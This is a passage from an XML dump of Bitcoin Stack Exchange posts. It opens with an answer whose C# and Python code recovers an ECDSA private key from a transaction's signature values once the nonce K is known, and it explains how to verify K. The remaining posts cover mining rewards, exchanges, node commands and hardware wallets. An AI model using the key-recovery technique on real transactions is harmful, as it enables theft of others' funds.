href=&quot;https://2xoin.com/tx/a963c57ba8a384bf708d5cf83c932e9174ebd0f82f3820e25dcc8a3d508aed54&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://2xoin.com/tx/a963c57ba8a384bf708d5cf83c932e9174ebd0f82f3820e25dcc8a3d508aed54&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://2xoin.com/tx/19d66411a5aa716a04b37197c11c93c9446a54694a2d2302093d8b0a93ed5d83&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://2xoin.com/tx/19d66411a5aa716a04b37197c11c93c9446a54694a2d2302093d8b0a93ed5d83&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://2xoin.com/tx/9778355a53f295a4ffd592af170badda4e9ad3153e15a4afd76655dac387abb2&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://2xoin.com/tx/9778355a53f295a4ffd592af170badda4e9ad3153e15a4afd76655dac387abb2&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The response returns the standard JSON response that you find in the bitcoin core client, plus some extra bits I added that show the R,S and Z values for each transaction input.&lt;/p&gt;&#xA;&lt;p&gt;eg, see SizR, SigS and SigZ nodes below.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;  &amp;quot;rawtx&amp;quot;: &amp;quot; &amp;quot;&#xA;}&#xA;{&#xA;  &amp;quot;txid&amp;quot;: &amp;quot;82e5e1689ee396c8416b94c86aed9f4fe793a0fa2fa729df4a8312a287bc2d5e&amp;quot;,&#xA;  &amp;quot;version&amp;quot;: 1,&#xA;  &amp;quot;locktime&amp;quot;: 0,&#xA;  &amp;quot;vin&amp;quot;: [&#xA;    {&#xA;      &amp;quot;txid&amp;quot;: &amp;quot;15f23b5b6c0786946273543be3ea00ceb4596082749d4fd19f5183eb64ef7083&amp;quot;,&#xA;      &amp;quot;vout&amp;quot;: 0,&#xA;      &amp;quot;scriptSig&amp;quot;: {&#xA;        &amp;quot;asm&amp;quot;: &amp;quot;30460221009bf436ce1f12979ff47b4671f16b06a71e74269005c19178384e9d267e50bbe9022100c7eabd8cf796a78d8a7032f99105cdcb1ae75cd8b518ed4efe14247fb00c9622[ALL] 04e3896e6cabfa05a332368443877d826efc7ace23019bd5c2bc7497f3711f009e873b1fcc03222f118a6ff696efa9ec9bb3678447aae159491c75468dcc245a6c&amp;quot;,&#xA;        &amp;quot;hex&amp;quot;: &amp;quot;4930460221009bf436ce1f12979ff47b4671f16b06a71e74269005c19178384e9d267e50bbe9022100c7eabd8cf796a78d8a7032f99105cdcb1ae75cd8b518ed4efe14247fb00c9622014104e3896e6cabfa05a332368443877d826efc7ace23019bd5c2bc7497f3711f009e873b1fcc03222f118a6ff696efa9ec9bb3678447aae159491c75468dcc245a6c&amp;quot;&#xA;      },&#xA;      &amp;quot;sequence&amp;quot;: 4294967295,&#xA;      &amp;quot;n&amp;quot;: 0,&#xA;      &amp;quot;addr&amp;quot;: &amp;quot;1KtjBE8yDxoqNTSyLG2re4qtKK19KpvVLT&amp;quot;,&#xA;      &amp;quot;valueSat&amp;quot;: 2500000,&#xA;      &amp;quot;value&amp;quot;: 0.025,&#xA;      &amp;quot;doubleSpentTxID&amp;quot;: null,&#xA;      &amp;quot;sigR&amp;quot;: &amp;quot;009bf436ce1f12979ff47b4671f16b06a71e74269005c19178384e9d267e50bbe9&amp;quot;,&#xA;      &amp;quot;sigS&amp;quot;: &amp;quot;00c7eabd8cf796a78d8a7032f99105cdcb1ae75cd8b518ed4efe14247fb00c9622&amp;quot;,&#xA;      &amp;quot;sigZ&amp;quot;: &amp;quot;9f4503ab6cae01b9fc124e40de9f3ec3cb7a794129aa3a5c2dfec3809f04c354&amp;quot;&#xA;    },&#xA;    {&#xA;      &amp;quot;txid&amp;quot;: &amp;quot;c525cdea79f05a850e300a7687a0c45cb851c1b7a19a4628565433a9d95c38b0&amp;quot;,&#xA;      &amp;quot;vout&amp;quot;: 0,&#xA;      &amp;quot;scriptSig&amp;quot;: {&#xA;        &amp;quot;asm&amp;quot;: &amp;quot;304502210094b12a2dd0f59b3b4b84e6db0eb4ba4460696a4f3abf5cc6e241bbdb08163b45022007eaf632f320b5d9d58f1e8d186ccebabea93bad4a6a282a3c472393fe756bfb[ALL] 04e3896e6cabfa05a332368443877d826efc7ace23019bd5c2bc7497f3711f009e873b1fcc03222f118a6ff696efa9ec9bb3678447aae159491c75468dcc245a6c&amp;quot;,&#xA;        &amp;quot;hex&amp;quot;: &amp;quot;48304502210094b12a2dd0f59b3b4b84e6db0eb4ba4460696a4f3abf5cc6e241bbdb08163b45022007eaf632f320b5d9d58f1e8d186ccebabea93bad4a6a282a3c472393fe756bfb014104e3896e6cabfa05a332368443877d826efc7ace23019bd5c2bc7497f3711f009e873b1fcc03222f118a6ff696efa9ec9bb3678447aae159491c75468dcc245a6c&amp;quot;&#xA;      },&#xA;      &amp;quot;sequence&amp;quot;: 4294967295,&#xA;      &amp;quot;n&amp;quot;: 1,&#xA;      &amp;quot;addr&amp;quot;: &amp;quot;1KtjBE8yDxoqNTSyLG2re4qtKK19KpvVLT&amp;quot;,&#xA;      &amp;quot;valueSat&amp;quot;: 2500000,&#xA;      &amp;quot;value&amp;quot;: 0.025,&#xA;      &amp;quot;doubleSpentTxID&amp;quot;: null,&#xA;      &amp;quot;sigR&amp;quot;: &amp;quot;0094b12a2dd0f59b3b4b84e6db0eb4ba4460696a4f3abf5cc6e241bbdb08163b45&amp;quot;,&#xA;      &amp;quot;sigS&amp;quot;: &amp;quot;07eaf632f320b5d9d58f1e8d186ccebabea93bad4a6a282a3c472393fe756bfb&amp;quot;,&#xA;      &amp;quot;sigZ&amp;quot;: &amp;quot;94bbf25ba5b93ba78ee017eff80c986ee4e87804bee5770fae5b486f05608d95&amp;quot;&#xA;    }&#xA;  ],&#xA;  &amp;quot;vout&amp;quot;: [&#xA;    {&#xA;      &amp;quot;value&amp;quot;: &amp;quot;0.05000000&amp;quot;,&#xA;      &amp;quot;n&amp;quot;: 0,&#xA;      &amp;quot;scriptPubKey&amp;quot;: {&#xA;        &amp;quot;hex&amp;quot;: &amp;quot;76a91402d8103ac969fe0b92ba04ca8007e729684031b088ac&amp;quot;,&#xA;        &amp;quot;asm&amp;quot;: &amp;quot;OP_DUP OP_HASH160 02d8103ac969fe0b92ba04ca8007e729684031b0 OP_EQUALVERIFY OP_CHECKSIG&amp;quot;,&#xA;        &amp;quot;addresses&amp;quot;: [&#xA;          &amp;quot;1G3BjSLWsWH6tbPYs29fYMYaz9k8EStQM&amp;quot;&#xA;        ],&#xA;        &amp;quot;type&amp;quot;: &amp;quot;pubkeyhash&amp;quot;&#xA;      },&#xA;      &amp;quot;spentTxId&amp;quot;: &amp;quot;9778355a53f295a4ffd592af170badda4e9ad3153e15a4afd76655dac387abb2&amp;quot;,&#xA;      &amp;quot;spentIndex&amp;quot;: 0,&#xA;      &amp;quot;spentHeight&amp;quot;: 175915&#xA;    }&#xA;  ],&#xA;  &amp;quot;blockhash&amp;quot;: &amp;quot;00000000000006467ae1708979d38dcb6d6fcafbab4c6eccf7414da950379243&amp;quot;,&#xA;  &amp;quot;blockheight&amp;quot;: 175915,&#xA;  &amp;quot;confirmations&amp;quot;: 309447,&#xA;  &amp;quot;time&amp;quot;: 1334602008,&#xA;  &amp;quot;blocktime&amp;quot;: 1334602008,&#xA;  &amp;quot;valueOut&amp;quot;: 0.05,&#xA;  &amp;quot;size&amp;quot;: 405,&#xA;  &amp;quot;valueIn&amp;quot;: 0.05,&#xA;  &amp;quot;fees&amp;quot;: 0&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;When I was researching all of the information on this thread, I created some little helper equations that I used heavily while experimenting.&lt;/p&gt;&#xA;&lt;p&gt;K = ((Z + (X * R)) / S) % N&lt;/p&gt;&#xA;&lt;p&gt;X = (((S * K) - Z) / R) % N&lt;/p&gt;&#xA;&lt;p&gt;Z = ((S * K) - (X * R)) % N&lt;/p&gt;&#xA;&lt;p&gt;S = ((Z + (X * R)) / K) % N&lt;/p&gt;&#xA;&lt;p&gt;R = (((S * K) - Z) / X) % N&lt;/p&gt;&#xA;&lt;p&gt;In my equations above,&lt;/p&gt;&#xA;&lt;p&gt;X is the private key hex,&lt;/p&gt;&#xA;&lt;p&gt;K multiplied by the sep256k1 G value produces an ECPoint whos x value = R&lt;/p&gt;&#xA;&lt;p&gt;So from R, you can verify you have the correct K value,&#xA;and if you have the correct K value, then you can get the correct X value, which is the hex of the private key of the address in the transaction input.&lt;/p&gt;&#xA;&lt;p&gt;And here is some sample C# code.&lt;/p&gt;&#xA;&lt;pre&gt;&#xA;using System;&#xA;using System.Linq;&#xA;using Org.BouncyCastle.Math;&#xA;&#xA;namespace SeansECDSAtest&#xA;{&#xA;    class Program&#xA;    {&#xA;        static void Main(string[] args)&#xA;        {&#xA;            BigInteger R = new BigInteger(StringToByteArray(&quot;00d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1&quot;));&#xA;            BigInteger S = new BigInteger(StringToByteArray(&quot;0044e1ff2dfd8102cf7a47c21d5c9fd5701610d04953c6836596b4fe9dd2f53e3e&quot;));&#xA;            BigInteger Z = new BigInteger(StringToByteArray(&quot;00c0e2d0a89a348de88fda08211c70d1d7e52ccef2eb9459911bf977d587784c6e&quot;));&#xA;            BigInteger X = new BigInteger(StringToByteArray(&quot;00c477f9f65c22cce20657faa5b2d1d8122336f851a508a1ed04e479c34985bf96&quot;));&#xA;            BigInteger K = new BigInteger(StringToByteArray(&quot;007a1a7e52797fc8caaa435d2a4dace39158504bf204fbe19f14dbb427faee50ae&quot;));&#xA;            BigInteger N = new BigInteger(StringToByteArray(&quot;00FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141&quot;));&#xA;&#xA;            //proving R = (((S * K) - Z) / X) % N&#xA;            var verifyR = S.Multiply(K).Subtract(Z).Multiply(X.ModInverse(N)).Mod(N);&#xA;            Console.WriteLine(&quot;R = &quot; + string.Concat(verifyR.ToByteArrayUnsigned().Select(b =&gt; b.ToString(&quot;X2&quot;))));&#xA;&#xA;            //proving S = ((Z + (X * R)) / K) % N&#xA;            var verifyS = Z.Add(X.Multiply(R)).Multiply(K.ModInverse(N)).Mod(N);&#xA;            Console.WriteLine(&quot;S = &quot; + string.Concat(verifyS.ToByteArrayUnsigned().Select(b =&gt; b.ToString(&quot;X2&quot;))));&#xA;&#xA;            //proving Z = ((S * K) - (X * R)) % N&#xA;            var verifyZ = S.Multiply(K).Subtract(X.Multiply(R)).Mod(N);&#xA;            Console.WriteLine(&quot;Z = &quot; + string.Concat(verifyZ.ToByteArrayUnsigned().Select(b =&gt; b.ToString(&quot;X2&quot;))));&#xA;&#xA;            //proving X = (((S * K) - Z) / R) % N&#xA;            var verifyX = S.Multiply(K).Subtract(Z).Multiply(R.ModInverse(N)).Mod(N);&#xA;            Console.WriteLine(&quot;X = &quot; + string.Concat(verifyX.ToByteArrayUnsigned().Select(b =&gt; b.ToString(&quot;X2&quot;))));&#xA;&#xA;            //proving K = ((Z + (X * R)) / S) % N&#xA;            var verifyK = Z.Add(X.Multiply(R)).Multiply(S.ModInverse(N)).Mod(N);&#xA;            Console.WriteLine(&quot;K = &quot; + string.Concat(verifyK.ToByteArrayUnsigned().Select(b =&gt; b.ToString(&quot;X2&quot;))));&#xA;&#xA;            Console.ReadLine();&#xA;        }&#xA;&#xA;        public static byte[] StringToByteArray(string hex)&#xA;        {&#xA;            return Enumerable.Range(0, hex.Length)&#xA;                             .Where(x =&gt; x % 2 == 0)&#xA;                             .Select(x =&gt; Convert.ToByte(hex.Substring(x, 2), 16))&#xA;                             .ToArray();&#xA;        }&#xA;    }&#xA;}&#xA;&#xA;&lt;/pre&gt;&#xA;&lt;p&gt;And the same code in python&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;def extended_gcd(aa, bb):&#xA;    lastremainder, remainder = abs(aa), abs(bb)&#xA;    x, lastx, y, lasty = 0, 1, 1, 0&#xA;    while remainder:&#xA;        lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder)&#xA;        x, lastx = lastx - quotient*x, x&#xA;        y, lasty = lasty - quotient*y, y&#xA;    return lastremainder, lastx * (-1 if aa &amp;lt; 0 else 1), lasty * (-1 if bb &amp;lt; 0 else 1)&#xA;&#xA;def modinv(a, m):&#xA;    g, x, y = extended_gcd(a, m)&#xA;    if g != 1:&#xA;        raise ValueError&#xA;    return x % m&#xA;&#xA;R = 0x00d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1&#xA;S = 0x0044e1ff2dfd8102cf7a47c21d5c9fd5701610d04953c6836596b4fe9dd2f53e3e&#xA;Z = 0x00c0e2d0a89a348de88fda08211c70d1d7e52ccef2eb9459911bf977d587784c6e&#xA;X = 0x00c477f9f65c22cce20657faa5b2d1d8122336f851a508a1ed04e479c34985bf96&#xA;K = 0x007a1a7e52797fc8caaa435d2a4dace39158504bf204fbe19f14dbb427faee50ae&#xA;&#xA;N = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141&#xA;&#xA;#proving R = (((S * K) - Z) / X) % N&#xA;print hex((((S * K) - Z) * modinv(X,N)) % N)&#xA;&#xA;#proving S = ((Z + (X * R)) / K) % N&#xA;print hex(((Z + (X * R)) * modinv(K,N)) % N)&#xA;&#xA;#proving Z = ((S * K) - (X * R)) % N&#xA;print hex(((S * K) - (X * R)) % N)&#xA;&#xA;#proving X = (((S * K) - Z) / R) % N&#xA;print hex((((S * K) - Z) * modinv(R,N)) % N)&#xA;&#xA;#proving K = ((Z + (X * R)) / S) % N&#xA;print hex(((Z + (X * R)) * modinv(S,N)) % N)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="21130" LastEditorUserId="-1" LastEditDate="2020-12-27T15:42:01.573" LastActivityDate="2020-12-27T15:42:01.573" CommentCount="10" ContentLicense="CC BY-SA 4.0" />
  <row Id="32547" PostTypeId="1" AcceptedAnswerId="32548" CreationDate="2014-11-16T13:08:04.547" Score="3" ViewCount="1176" Body="&lt;p&gt;As far as I know, to ensure double-spending didn't happened and also for other security reasons, there is minimum number of confirmations that a transaction should have to be accepted. That value is around 4-6 blocks I think, but merchants can put their own threshold.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is if with the sub-sequent confirmations after the first one, the miners get the mining reward, or a share of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or maybe a transaction is included in different blocks per each confirmation? But how the mining fees are paid then?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there is no reward for re-confirmations, I'm wondering what would happen after the Bitcoin limit is reached and the only reward for the miners will be the transaction fees. Will transaction get more than 1 confirmation then?&lt;/p&gt;&#xA;" OwnerUserId="14793" LastActivityDate="2021-01-02T01:22:05.557" Title="Do Miners get a reward for re-confirming blocks?" Tags="|transaction-fees|block|confirmations|mining-reward|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32548" PostTypeId="2" ParentId="32547" CreationDate="2014-11-16T14:20:25.963" Score="2" Body="&lt;p&gt;Yes, miners get a reward for &amp;quot;re-confirming&amp;quot; blocks; no, it's not a direct reward.&lt;/p&gt;&#xA;&lt;p&gt;Each block must reference the preceding block by including a hash of the preceding block's header in its own header.  That means each block confirms the block before it, which confirms the block before it, etc..., all the ways back to block 0 (the genesis block).&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://web.archive.org/web/20191201031454/https://bitcoin.org/img/dev/en-blockchain-overview.svg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://web.archive.org/web/20191201031454/https://bitcoin.org/img/dev/en-blockchain-overview.svg&quot; alt=&quot;The Block Chain&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;When we say a transaction has 1 confirmation, that means it's included in a block.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;When we say a transaction has 2 confirmations, that means it's included in a block which is followed by one block.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;When we say a transaction has 3 confirmations, that means it's included in a block which is followed by two blocks.  Etc...&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;When the block subsidy stops (or becomes so low it's mostly irrelevant), miners will create blocks only for their transaction fees.  So miners will attempt to mine block A for its fees (giving its transactions one confirmation); after it's mined, miners will attempt to mine block B for its transaction fees---and block B will confirm the transactions in block A, raising their confirmation score to two.  So transactions will still get more than one transaction then.&lt;/p&gt;&#xA;&lt;p&gt;There is some concern that Bitcoin with transaction fees only will encourage miners to fork the chain and &amp;quot;re-mine&amp;quot; recent blocks with high transaction fees.  Some people call this &amp;quot;fee sniping&amp;quot;, and if it's a legitimate concern, it still probably won't manifest for several years---and developers are already talking about ways to make it harder and less potentially profitable.&lt;/p&gt;&#xA;" OwnerUserId="21052" LastEditorUserId="42185" LastEditDate="2021-01-02T00:37:56.977" LastActivityDate="2021-01-02T00:37:56.977" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32550" PostTypeId="1" CreationDate="2014-11-16T16:35:47.290" Score="1" ViewCount="992" Body="&lt;p&gt;I am somewhat confused by the bitmixer.io site. I can enter the Adress, where I want to send bitcoins to, but I have no idea how to go from there. How can I send bitcoins into the service? Can anyone advise me how to use this system?&lt;/p&gt;&#xA;" OwnerUserId="21133" LastActivityDate="2015-01-04T19:40:05.260" Title="bitmixer.io usage" Tags="|privacy|mixing|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32551" PostTypeId="2" ParentId="32543" CreationDate="2014-11-16T16:42:18.763" Score="2" Body="&lt;p&gt;When you place an order to sell LTC in btc-e it checks if there is an order to buy LTC at the same rate as you specified. If there is order to buy LTC at the same rate as you specified in your sell order it will fill your sell order up to the amount of the buy order. If the buy order amount is bigger than your sell order your sell order will be filled instantly and you will receive BTC and the buyer will receive your LTC. If there is no buy order at the rate you specified the system will wait for someone to buy LTC at the same rate. You can always cancel these orders before they are completely filled, but remember the 0.20% trading fee is taken when you place an order and not when you complete the order.&lt;/p&gt;&#xA;" OwnerUserId="14208" LastActivityDate="2014-11-16T16:42:18.763" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32552" PostTypeId="2" ParentId="32001" CreationDate="2014-11-16T16:59:59.173" Score="0" Body="&lt;p&gt;No. You can set up an auto transfer on many pools but you will need above a certain balance or be charged for transactions. Also some pools need verification for this to happen to prevent fraud or theft.&lt;/p&gt;&#xA;" OwnerUserId="21126" LastActivityDate="2014-11-16T16:59:59.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32553" PostTypeId="2" ParentId="32543" CreationDate="2014-11-16T17:24:00.877" Score="1" Body="&lt;p&gt;First of all, you need to deposit your Litecoins in the account. It is usually done in some Account deposit section. Once, your transaction is confirmed. You can move to the homepage and select the Litecoin -&gt; Bitcoin page and enter the required numbers and hit the Buy button. That's it!&lt;/p&gt;&#xA;" OwnerUserId="21134" LastActivityDate="2014-11-16T17:24:00.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32554" PostTypeId="1" CreationDate="2014-11-16T17:39:33.880" Score="2" ViewCount="182" Body="&lt;p&gt;I just started to run dogecoind, and I am wondering how I am able to check how many blocks I have currently downloaded vs. how many total blocks need to be downloaded?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/10859/how-to-check-bitcoind-block-chain-download-progress-level&quot;&gt;this handy script for bitcoind&lt;/a&gt;, but unfortunately, it does not work for dogecoind. &lt;/p&gt;&#xA;" OwnerUserId="21137" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2014-11-16T23:24:34.847" Title="Check how many blocks dogecoind downloaded" Tags="|dogecoin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32556" PostTypeId="2" ParentId="32544" CreationDate="2014-11-16T17:52:23.090" Score="14" Body="&lt;p&gt;You actually can't update &lt;em&gt;all&lt;/em&gt; the firmware. In particular, the portion of the firmware that implements the security logic cannot be modified, it's burned in for good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to take full control over a Trezor, which would even let you load malware onto it, you can. However, the internal security logic would still wipe all the data in the unit when you did and display a warning each time the unit was started. So you can't use the firmware update path to steal secrets, nor can you trick someone into using a modified Trezor, so long as they watch the startup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming all this is implemented correctly and has no bugs or defects, that leaves only the possibility of malicious firmware signed by the manufacturer so that it would be accepted by the security firmware without tripping the safeguards. So to some extent, you have to trust the manufacturer. However, if they ever signed &quot;evil firmware&quot;, and that firmware got out, their reputation would be ruined.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2014-11-17T03:56:48.907" LastActivityDate="2014-11-17T03:56:48.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32557" PostTypeId="1" AcceptedAnswerId="32567" CreationDate="2014-11-16T18:24:19.673" Score="2" ViewCount="231" Body="&lt;p&gt;I want to set up a website that needs an online bitcoin wallet (able to deposit and withdraw at any time). Would it be better to use the blockchain.info's infrastructure through API commands or should I set up bitcoind on my own server?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem with using blockchain.info's API is that I can't use commands (such as withdrawing) while having 2FA enabled or other security measures (please correct me if Im wrong).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I make the website as safe as possible with blockchain.info's api?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short: I prefer not to store the private keys myself. On the other hand I also dont want to provide all credentials to blockchain.info in a file on the server that can't be encrypted.&lt;/p&gt;&#xA;" OwnerUserId="21139" LastActivityDate="2014-11-17T04:32:30.070" Title="Security: Blockchain.info vs bitcoind" Tags="|bitcoind|blockchain.info|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32558" PostTypeId="1" CreationDate="2014-11-16T20:24:10.013" Score="-2" ViewCount="1739" Body="&lt;p&gt;I'm interested in the OHLC / VWAP data (both historical and recent) provided via API to be used by external charting application.&lt;br&gt;&#xA;I don't want to use &lt;code&gt;trades&lt;/code&gt; methods as whole process should be as lightweight as possible, &lt;code&gt;trades&lt;/code&gt; method is redundant due to history loading speed.&lt;br&gt;&#xA;Combining &lt;a href=&quot;http://bitcoincharts.com/about/markets-api/&quot; rel=&quot;nofollow&quot;&gt;bitcoincharts.com&lt;/a&gt; csv historical trades with markets API recent trades would be kind of error prone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option would be to access the following data:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;visit bitcoincharts chart: &lt;a href=&quot;http://bitcoincharts.com/charts/krakenEUR&quot; rel=&quot;nofollow&quot;&gt;http://bitcoincharts.com/charts/krakenEUR&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;below the chart in the left corner click on &lt;code&gt;Load raw data&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;and just download those data&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I've checked the page and data appears in &lt;code&gt;tbody&lt;/code&gt; in the following &lt;code&gt;div&lt;/code&gt; after click on &lt;code&gt;Load raw data&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div&amp;gt;&#xA;  &amp;lt;a href=&quot;#&quot; onclick=&quot;load_table();return false;&quot;&amp;gt;Load raw data&amp;lt;/a&amp;gt;&#xA;  &amp;lt;table class=&quot;data&quot; id=&quot;chart_table&quot; style=&quot;display: none;&quot;&amp;gt;&#xA;    &amp;lt;thead&amp;gt;&#xA;      &amp;lt;tr&amp;gt;&#xA;        &amp;lt;th&amp;gt;Timestamp&amp;lt;/th&amp;gt;&amp;lt;th&amp;gt;Open&amp;lt;/th&amp;gt;&amp;lt;th&amp;gt;High&amp;lt;/th&amp;gt;&amp;lt;th&amp;gt;Low&amp;lt;/th&amp;gt;&amp;lt;th&amp;gt;Close&amp;lt;/th&amp;gt;&amp;lt;th&amp;gt;Volume (BTC)&amp;lt;/th&amp;gt;&amp;lt;th&amp;gt;Volume (Currency)&amp;lt;/th&amp;gt;&amp;lt;th&amp;gt;Weighted Price&amp;lt;/th&amp;gt;&#xA;      &amp;lt;/tr&amp;gt;&#xA;    &amp;lt;/thead&amp;gt;&#xA;    &amp;lt;tbody&amp;gt;&#xA;    &amp;lt;/tbody&amp;gt;&#xA;  &amp;lt;/table&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there any easy way to access those data similarly to API?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way is to ask markets for such method, kraken already provide such: &lt;a href=&quot;https://api.kraken.com/0/public/OHLC?pair=XBTCZEUR&amp;amp;interval=60&amp;amp;since=1416160800&quot; rel=&quot;nofollow&quot;&gt;https://api.kraken.com/0/public/OHLC?pair=XBTCZEUR&amp;amp;interval=60&amp;amp;since=1416160800&lt;/a&gt;&lt;br&gt;&#xA;I've just asked for such method on hitbtc market, you can track/contribute here: &lt;a href=&quot;https://github.com/hitbtc-com/hitbtc-api/issues/7&quot; rel=&quot;nofollow&quot;&gt;https://github.com/hitbtc-com/hitbtc-api/issues/7&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4822" LastEditorUserId="2306" LastEditDate="2014-11-16T23:59:02.610" LastActivityDate="2014-12-01T10:45:58.170" Title="API feed for OHLC / VWAP data in (close to) real-time" Tags="|exchanges|api|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32559" PostTypeId="2" ParentId="13292" CreationDate="2014-11-16T20:33:00.303" Score="0" Body="&lt;p&gt;The highest volume of BTCEUR is on kraken for a long time already.  &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;docs for API method: &lt;a href=&quot;https://www.kraken.com/help/api#get-ticker-info&quot; rel=&quot;nofollow&quot;&gt;https://www.kraken.com/help/api#get-ticker-info&lt;/a&gt;&lt;br&gt;&#xA;API call: &lt;a href=&quot;https://api.kraken.com/0/public/Ticker?pair=XXBTZEUR&quot; rel=&quot;nofollow&quot;&gt;https://api.kraken.com/0/public/Ticker?pair=XXBTZEUR&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4822" LastActivityDate="2014-11-16T20:33:00.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32560" PostTypeId="2" ParentId="32554" CreationDate="2014-11-16T23:24:34.847" Score="1" Body="&lt;p&gt;Using any cli-based daemon (dogecoind,bitcoind,etc.), you can use the cli &lt;code&gt;getinfo&lt;/code&gt; command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./dogecoin-cli getinfo&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Will return something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;&quot;version&quot; : 1080000,&#xA;&quot;protocolversion&quot; : 70003,&#xA;&quot;walletversion&quot; : 60000,&#xA;&quot;balance&quot; : 505658.00000000,&#xA;&quot;blocks&quot; : 399670,&#xA;&quot;timeoffset&quot; : -1,&#xA;&quot;connections&quot; : 7,&#xA;&quot;proxy&quot; : &quot;&quot;,&#xA;&quot;difficulty&quot; : 9373.23745278,&#xA;&quot;testnet&quot; : false,&#xA;&quot;keypoololdest&quot; : 1404252263,&#xA;&quot;keypoolsize&quot; : 101,&#xA;&quot;paytxfee&quot; : 0.00000000,&#xA;&quot;relayfee&quot; : 1.00000000,&#xA;&quot;errors&quot; : &quot;&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6490" LastActivityDate="2014-11-16T23:24:34.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32561" PostTypeId="1" AcceptedAnswerId="32563" CreationDate="2014-11-17T00:22:27.777" Score="2" ViewCount="760" Body="&lt;p&gt;Say I walk into a store that accepts bitcoin. I decide to buy something and go to the counter. I get my smartphone out to pay the bitcoin. Does my smartphone need to have an internet connection to send the store my bitcoin?&lt;/p&gt;&#xA;" OwnerUserId="21145" LastEditorUserId="5406" LastEditDate="2017-03-04T10:13:14.023" LastActivityDate="2017-03-04T10:13:14.023" Title="Do you need to be connected to the internet to send someone bitcoin?" Tags="|payment|offline|point-of-sale|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
